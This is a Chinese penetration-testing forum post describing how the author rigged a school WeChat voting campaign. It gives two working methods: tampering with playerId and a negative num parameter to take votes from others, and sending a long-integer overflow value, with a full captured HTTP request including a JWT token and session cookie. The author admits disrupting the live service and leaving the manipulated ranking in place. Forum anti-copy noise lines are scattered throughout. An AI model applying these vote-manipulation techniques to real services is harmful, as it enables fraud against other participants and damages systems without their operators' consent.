中国网络渗透测试联盟
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[打印本页]
作者:
admin
时间:
2021-12-30 13:52
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**
% W3 q6 }0 a4 K
: j) B6 s% v2 F L* g- L; K7 T* U/ X* ~
$ x0 T! Q& J# i# o" R8 s
**1** **、第一种方法突破微信登陆投票**
. {6 H; K: F% ]! a9 q
5 \5 ]% @, F2 p% y7 q
一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
/ K) }% K2 H$ j
( {$ W* v2 u5 k5 m7 ]$ W9 z! F
首先用微信识别老师发来的投票二维码如图:
# v* b2 u* V+ }' j7 X T% Y5 o
7 J" L$ f( b9 R

4 D7 P6 U6 C, J( k0 p. h4 ~
- S4 I6 ^% d# R' K0 M" M2 v
使用微信号登陆,不停的放包,直到这里
3 n/ y5 y. p. Q: z( G
A8 y$ `2 N2 v' b" u

0 ` }, J8 W7 g4 N0 j; e, ~: Q
]6 @* d- \& S
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
9 B* p" ~" x" @; @" K
9 U7 G8 r2 q6 c; b8 Q! c; D1 Q

& j0 K. h9 N0 k4 J! y" n; a+ j3 [
u" k8 n" N& b) y& v
- d$ b7 c/ Z/ Y8 S O
+ j" S9 S: w: }6 D9 J& s' p9 E: E* Z
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
v1 N$ r: L( B1 F
- d; u0 F- U; a7 A/ x' c

" D. @" f# q$ X4 I- V7 E1 I9 a
* C# q' _' F7 z
' @/ D- s. G7 ]3 O5 h/ @( O
# L) k. U2 Z$ g
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。
7 d2 _$ m! I+ ?% A# ~: b6 f4 J. @* x
. \1 T3 E' }5 n" L& C Q
以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
2 p/ ~+ c: y) |$ U6 m! c9 G
0 R2 \3 }2 W+ }; c9 c
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**
, m0 _0 Q1 O2 h. _2 U6 u
# v g! n: I8 x1 D$ B
同样到这个包,如下:
8 \& D, l7 f6 M! K/ D! h
. }9 X! [7 l$ K! a2 p# V
```
8 n4 m' F. m" X
POST /vote/api/wx/voteFree/add HTTP/1.1
2 {1 L5 h# `6 y
Host: 111.cn
9 y6 G- X+ b) T9 ]7 t! z& H# e
Content-Length: 73
+ G; `3 V9 G+ I0 u8 ?( F
Accept: application/json, text/javascript, */*; q=0.01
, ]* W1 C8 @% n1 A' L/ K7 S3 }
X-Requested-With: XMLHttpRequest
8 e% k( @ J5 _" e9 m3 o
User-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
! p4 q' m% Z' L. R# f
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
, i8 {* u% ?6 q% X3 g1 M/ d6 i
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
: B( x3 `; H& K% Y* v0 N; I
Origin:
http://111.cn
/ S1 I, p8 f" `2 A& N3 e8 |: d
Referer:
http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
* m) N- K( [6 h: f9 W9 _
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
0 S4 u! M# A T# r1 _) {1 L
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
3 t8 {* {$ v: D9 }( i7 Y7 P0 [! T$ _. h/ D
Connection: close
* b9 y" ^0 S' X
voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3
7 A0 Z f' B; M L$ w6 c# r
) q i1 T4 R2 y8 j8 l: @
```
8 H. {# \6 b; C3 E" J
* I$ y- K$ D4 B0 p
修改num=3333333{},如图:
! H7 c. |; P% D( d0 a: H" V
$ P0 i5 z7 N! Z3 H8 z

- P+ s) k# r2 y+ a% `6 f+ p
# x+ ^0 P2 d' i: m
0 A1 ~* B4 _) b: p
: p4 x) b% i2 ~ _1 W; u( B
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
- q/ ^$ |, i6 `
, {: M' {( _% j5 L8 g; X

+ J, [" {5 n% y4 g( D. w* F m
8 m# Q+ z _3 ?2 _
0 t8 \' R& G u; h7 k5 S3 k
& F) O9 N4 I* l
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
: l6 E8 v2 Y0 m) L
, D) D; U9 t& T, L2 q' g6 Y
也就是刷票数为负 -270多万,如上图。。。
! p8 W c0 J* B, U1 c
9 b# Y% \% e3 S' t2 @4 K
等溢出恢复以后票数变成15W多,排名第一,如图:
7 H8 }& U+ M8 q/ ]' _ @
2 ]* L) }6 V8 v+ ~
1 v* ]) k7 V* L" b( r

" r I: }7 c4 m# T6 d, l9 |# ?
# S7 u4 v- _- P% V) V( G/ Z( E- @
**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**
* x- {+ B( ~+ Y0 P; C+ x: m0 \
[/md]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2